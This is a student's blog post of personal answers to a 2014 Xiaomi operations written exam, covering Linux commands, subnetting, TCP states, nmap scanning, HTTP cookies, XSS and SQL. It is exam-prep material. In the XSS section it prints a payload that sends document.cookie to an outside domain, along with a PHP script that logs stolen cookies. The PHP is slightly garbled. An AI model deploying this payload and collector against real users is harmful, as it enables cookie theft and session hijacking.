小米运维部14年校招笔试题A的个人答案

15年准备实习生面试时答的题,仅供参考


具体题目详见  http://www.tuicool.com/articles/eYRZBr

                    http://noops.me/?p=1154


一、linux基础


1)linux系统中如何获取pid为100的进程所监听的tcp端口,请给出详细命令?

【答】

方法一:


1netstat -nlg | grep 1950   
2[root@localhost pierre]# netstat -nlp | grep 1950
3tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1950/sshd         
4tcp        0      0 :::22                       :::*                        LISTEN      1950/sshd


方法二:


1ss -pl | grep 1950 
2[root@localhost pierre]# ss -pl | grep 1950
30      128                         :::ssh                          :::*        users:(("sshd",1950,4))
40      128                          *:ssh                           *:*        users:(("sshd",1950,3))


方法三:


1lsof -Pnl +M -i4|grep 1950
2[root@localhost pierre]# lsof -Pnl +M -i4|grep 1950
3sshd       1950        0    3u  IPv4     12599      0t0  TCP *:22 (LISTEN)



三种命令都可以实现,个人三种都会用,比较偏爱的是ss,当然有时候会忘记,这次正好总结一下

缺点:出来的结果,不一定是目的结果,grep的不一定是pid



2)如何查找在/home/work/log/路径下,修改时间在3天以前的文件,并将这些文件mv到/home/work/log/backup下?


1【答】
1find /home/work/log -mtime +3 -exec mv {} /home/work/log/backup/{}  \;



ps.补充几点

linux下find支持-mmin参数,以分为单位

find /home -mmin +30  查30分钟前改动过的文件

find -mmin -10 ! -name "."      不包括 "."  -mmin参数

find /home/work/log -mtime +3 -exec mv {} /home/work/log/backup/{}  \;

find: missing argument to `-exec'  注意: “\;” 部分 不能有空格



1[pierre@localhost ~]$ stat .


 File: `.'

 Size: 4096           Blocks: 8          IO Block: 4096   directory

Device: fd00h/64768d     Inode: 262159      Links: 27

Access: (0700/drwx------)  Uid: (  500/  pierre)   Gid: (  500/  pierre)

Access: 2015-08-24 19:05:16.109807264 +0800

Modify: 2015-08-24 19:05:14.028652856 +0800

Change: 2015-08-24 19:05:14.028652856 +0800


atime mtime ctime的区别可以从stat的数据中发现一二,详细看我很久以前一篇水文:点我


3)操作系统中,父进程需要传输一份1KB的数据给子进程,有几种方法可以实现?并请给出一种方法的代码实现(语言不限)?

  【答】  

 管道?内存共享?socket?  这题目先留着,等有时间再好好答


4)需要抓取eth1网卡上从127.10.32.5发到本机8080端口的数据包,请列举你能想到的工具或者方法?并给出一个具体的方法的实现(详细命令或者代码)?

【答】

常用抓包工具就是tcpdump和wireshark。一般linux发行版会自带tcpdump(部分阉割版没有,像大疆无人机的)。而我们在本地电脑分析时可能偏爱wireshark。

本文假设是在服务器端抓包:

方法一:


1tcpdump -i eth1 src host 127.10.32.5 and dst port 8080


在实战中,由于我对tcpdump不算特别熟,偏爱把包统统抓下,再移到本地用wireshark的显示过滤进行包的分析。ps.命令行界面分析数据包略蛋疼额

方法二:


1tcpdump -w test.cap


抓下所有包

利用


1python -m SimpleHTTPServer


开启一个简易server,将包传到本地电脑

在wireshark的filter里填写


1ip.src==127.10.32.5 && tcp.dstport==8080


// 这里端口是要指明tcp还是udp的,  端口是一种抽象的软件结构。8080端口可以同时为udp和tcp

wireshark的详细用法看我的这篇博客:点我


二、系统/网络


给一台服务器安装linux操作系统,请回答在安装和使用过程中遇到的一些问题:

1)服务器有6块600G的SAS磁盘,通过阵列卡做RAID5,请问实际操作系统可使用的空间是多大?

【答】

raid就是所谓的独立磁盘列阵,通过廉价的磁盘,实现数据的高可用。

常见的raid方法有:raid 0 ;raid 1 ;raid 0+1 ;raid 10等

RAID 0是组建磁盘阵列中最简单的一种形式,只需要2块以上的硬盘即可,成本低,可以提高整个磁盘的性能和吞吐量。RAID 0没有提供冗余或错误修复能力,但实现成本是最低的。

RAID 1称为磁盘镜像,原理是把一个磁盘的数据镜像到另一个磁盘上,也就是说数据在写入一块磁盘的同时,会在另一块闲置的磁盘上生成镜像文件,在不影响性能情况下最大限度的保证系统的可靠性和可修复性上.

……

RAID 5 算是一种在RAID0和RAID1之间折中的做法(废话,其他raid也基本是的)。没有独立的奇偶校验盘,所有校验信息分散放在所有磁盘上,只是在存储空间上为N-1。所以可用是5*600=3000G


2)网络管理员告诉我们这台服务器使用10.0.0.128/26段中的第一个地址,网关是这段地址中的最后一个地址。请列出机器的IP地址、子网掩码和网关。

【答】

这个就比较简单,只要学过计算机网络的基本都会了解。

10.0.0.128/26  最后一个化成二进制:10.0.0.1000 0000 网络号就是这个,主机号就是后面六位数字,子网掩码是:255.255.255.192

可用ip一般会去掉第一个网络号ip和最后一个广播ip。所以第一个可用的ip地址是10.0.0.129,如题假设的网关就是10.0.0.191(网关并不一定就是最后一个ip)


3)服务器交付业务方使用后,使用netstat命令发现有大量的time_wait连接,请简述time_wait连接存在的原因。

【答】

这个可以看我这篇博文:点我 (还没完全写完【掩面)想以最简单的话,阐述出来,所以写写删山,一直没完。  此外这个人的这个文章还是可以的:点我 非常详细,推荐

什么时候会出现time_wait?

通信双方建立TCP连接后,主动关闭连接的一方就会进入TIME_WAIT状态。

time_wait存在的原因?

1)可靠地实现TCP全双工连接的终止

2)允许老的重复分节在网络中消逝

补充:

1.一般线上出现大量time_wait的重要背景是业务使用了nginx代理。由于nginx使用短链接的方式和后端大量交互,使得nginx和后端的ESTABLISHED变得很少而TIME_WAIT很多。这里就涉及到nginx的一些知识,我后续应该会把我学习nginx的笔记放出来。大家记得关注 http://ww.bearzone.cc

2.time_wait的持续时间一般是2msl(maximum segment lifetime),rfc推荐msl=2分钟,linux貌似是1 msl=30 s,win是2min.此处没有特别深刻的理解

3.

1netstat -n | awk '/^tcp/{++S[$NF]} END {for(a in S) print a,S[a]}'
可以清晰查看当前的time_wait以及其他相似的tcp指标




4)简述TCP建立连接的过程;运维中经常nmap进行端口扫描,描述nmap进行TCP扫描的原理。

【答】

先扯两句:作为一个信息安全的学生,对安全还是小有研究,当然比较熟悉nmap的一些使用。以前貌似写过一篇博文关于nmap的,后来不知不觉就丢了,可惜!挂一篇lijiejie学长的博文吧,方便以后查看 http://www.lijiejie.com/nmap-fast-scan-large-networks/

nmap全程:Network Mapper。一个网络连接端扫描软件,用来扫端口啊,扫存活啊,扫指纹啊。由于扫描方案比较多,提供icmp、tcp和udp等多种协议,多种方案的,并且可以以一种比较猥琐的姿态实现扫描,所以还是很受欢迎的。

既然题目问的是TCP扫描,那我们就专谈TCP,以后也许会放上我对nmap的总结。

tcp syn scanning是nmap的默认扫描方式,通常被称作半开放扫描。简单而言,就是扫描时发送syn包到目的端口,如果收到syn/ack回复,那么就可以判断端口是开放的,如果收到的是rst包,那么端口就是关闭的。如果没有收到回复,那么判断该端口被屏蔽(Filtered)简单而言,就是个三次握手建立一半的过程。


1nmap -sS ***


tcp connect scanning则是使用API connect向目的主机端口发起完整的连接。完整的三次握手,速度必然比较慢的,一般上面这种方法不行才会使用。

nmap -sT

tcp ack scanning则是向目的主机的端口发送ack包,如果收到rst包,则说明端口没有被防火墙屏蔽;没有收到rst包,说明被屏蔽。一般用于辅助tcp syn扫描

其他还有三种TCP FIN/Xmas/NULL scanning 一般做安全的估计也没人用,ops当然也用的比较少。


5)Zmap是一个号称44分钟可以扫遍全球公网机器端口。结合TCP三次握手原理和系统编程知识,简述类似产品的设计思想,并尝试描述你的实现。

【答】

zmap以前有所耳闻,却总是和nmap的gui版zenmap搞混【掩面。上次和阿宝sin牛讨论这个时,才有所了解

参考:http://netsecurity.51cto.com/art/201308/407831.htm

如果想快速扫描全网,如果采用三次握手那种,是不可能的(无论那种做法,就算并发量达到极致,也达不到把)。而zmap采用一个非常猥琐的方法,采用无状态的方法,即向服务器发送请求时,不保持任何握手信息,而将收到的信息进行一些类似正则编码之类的处理,不对信息进行辨别。

这样避开三次握手的带来的开销,不过个人理解对返回数据的安全性和完整性带来一定挑战。



三、开发/安全

1)http keep-alive的作用是什么,有什么优缺点?

【答】

参考:http://www.cnblogs.com/huangfox/archive/2012/03/31/2426341.html

个人觉得比较好理解吧,避免一些连接的建立和重新建立。

建立连接,会伴随socket的建立等消耗系统资源的情况。

保持当前连接,同样会消耗系统资源。

所以参数的设置,应该要有一个不错的平衡。



2)简述cookie的作用,以及http cookie和session的区别和联系

【答】

老生常谈的问题,我将新建一篇文章,把我的各种总结放上来,具体请关注:www.bearzone.cc。我相信会说的非常明白!

再次我就以最简单的话来表达:

cookie的作用就是弥补http无状态的缺陷。

cookie是客户端保持对的方案,session是服务器端保持的方案

session可以通过cookie机制协助完成,也可以通过url重写或表单隐藏字段完成。



3)对于cookie劫持攻击,给出至少两种防御方案

【答】

1.httponly

目前主流的一种简易方法,设置后可以让js无法调用cookie,对于防范xss确实有一定作用,不过对方使用xss proxy之后也没什么太大的作用

2.仅通过SSL来发送cookie。如果你要求浏览器在传输之前加密cookie,在传输中就不易遭受攻击

暂时先这两个,其实都存在较大缺陷,我在想想,有没有为只的


4)xss攻击中,给出一个窃取用户浏览器cookie的xss-payload

【答】

作为一个半安全的dog,

页面构造一个这个


1<script>window.open('http://www.bear2.cn/test.php?c='+document.cookie)</script>


www.bear2.cn/test.php  (这个脚本是实际不存在的)


01<?php
02$cookie $_GET['c'];
03$ip getenv ('REMOTE_ADDR');
04$time=date("j F, Y, g:i a");
05$referer=getenv ('HTTP_REFERER');
06$fp fopen('cookie.txt''a');
07fwrite($fp'Cookie: '.$cookie.'
08 IP: ' .$ip. '
09 Date and Time: ' .$time. '
10 Referer: '.$referer.'
11 
12 
13');
14fclose($fp);
15?>


就这样一个简单的demo


5)xss问题产生的本质是什么,并阐述防御方案

【答】

这个问题在《白帽子讲web安全》这本书里有过描述,个人如果扯起来、、、估计又要扯半天,因为xss又分很多种,所以、、、、

简单而言,就是1.用户的能够控制了脚本的输入 2.用户恶意拼接了脚本的输入。 (定义收到道哥对sql注入的影响,大概就是这个意思。)

防范的话,可以采用一些方法:对用户的输入实现过滤,像php里的htmlspecialchars() 这个函数来实现。

由于自己对xss理解也不是很深刻,只能简单到此,不继续扯了~




6)编码实现一个简单的http server,至少支持GET请求解析和响应,编程语言不限

【答】

额,独立完成,纸上手写、、、如果真枪实弹,鸭梨三大!!!

思路一:投机取巧型


1python -m SimpleHTTPServer


直接调用python的模块

思路二:利用第三方的模块,半编码实现


01package main
02 
03import (
04    "fmt"
05    "log"
06    "net/http"
07)
08 
09func sayHello(w http.ResponseWriter, r *http.Request) {
10    fmt.Fprintf(w, "hello world!")
11}
12func main() {
13    http.HandleFunc("/", sayHello)
14    err := http.ListenAndServe(":8880", nil)
15    if err != nil {
16         log.Fatal("ListenAndServe: ", err.Error())
17    }
18}


这是当时学go语言时,看七牛云存储ceo书模仿的一段,功能比较弱。


思路三:完全使用c/c++,不用第三方模块

难度比较大,暂时没这能力

补充:出题者貌似对思路一并不排斥~


四、数据库

某消费系统中包含2张表,用户信息表和消费流水表,结构和数据如下:

表这出现bug

1)请按要求写出上面两张表的建表sql语句;

【答】

额,由于好久没碰数据库了,只有为数不多的几次小项目用到相关sql,自己还是采用phpmyadmin、navicat for MySQL这些工具,再加上实习期间没怎么接触dba的工作,所以写sql语句生疏很多,几个关键句子都默默看了相关的书【掩面!


1use test_database;      #自己定义的库名
2create table user(
3    ID int primary key AUTO_INCREMENT,
4    NAME varchar(10) not null,
5    Balance varchar(10) not null
6);
7insert into user(NAME,Balance) values("A","19.50");


其他类似,不一一列了


2)请分别写出下面两组sql语句的输出结果;

Delete from user;

Insert into user value (‘’, ‘D’, 300);

    【答】

    清空user表,表还在

    插入新的数据,自增主键任然自增,ID为5

Truncate user;

Insert into user value (‘’, ‘D’, 300);

    【答】

    清空user表

    插入新数据,自增主键不自增,ID为1


主要应该就是考察delete和truncate的区别吧,二者都可以清空表的内容,不过,truncate同时会清空表的自增计时器。


3)请写出能产生下面查询结果的SQL语句:


4)系统运行一段时间后,流水表的记录变得非常大,通过用户名(NAME)查询用户消费记录(FEE)时响应速度非常慢,请简述你的优化方案。

【答】

对mysql的理解不是很多,

第一映像是增加索引,还有分区表什么的。唉,由于缺乏大量数据的经验,之前也没做过类似的,所以不是很了解。



【题目评价】

1.题目是小米运维部14年校招笔试题A的题目。

2.题目稍微偏实战一点,稍不注意可能以为是简单的社招题,在大公司实习的话帮助比较大。

3.题目整体上不算特别难,从我没完全结束的答题可以看出,我的博客或印象笔记几乎都有涉及。不过现场在白纸上做的话,很多细节都记不清,这个也很麻烦!很多东西其实真没必要去强背。

欢迎到我的博客:www.bear2.cn  进行讨论

 我的邮箱admin@bear2.cn
阅读更多
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u013128262/article/details/47983611
上一篇递归函数与栈的变化
下一篇web service系列一(什么是web service).md
想对作者说点什么? 我来说一句

没有更多推荐了,返回首页

关闭
关闭
关闭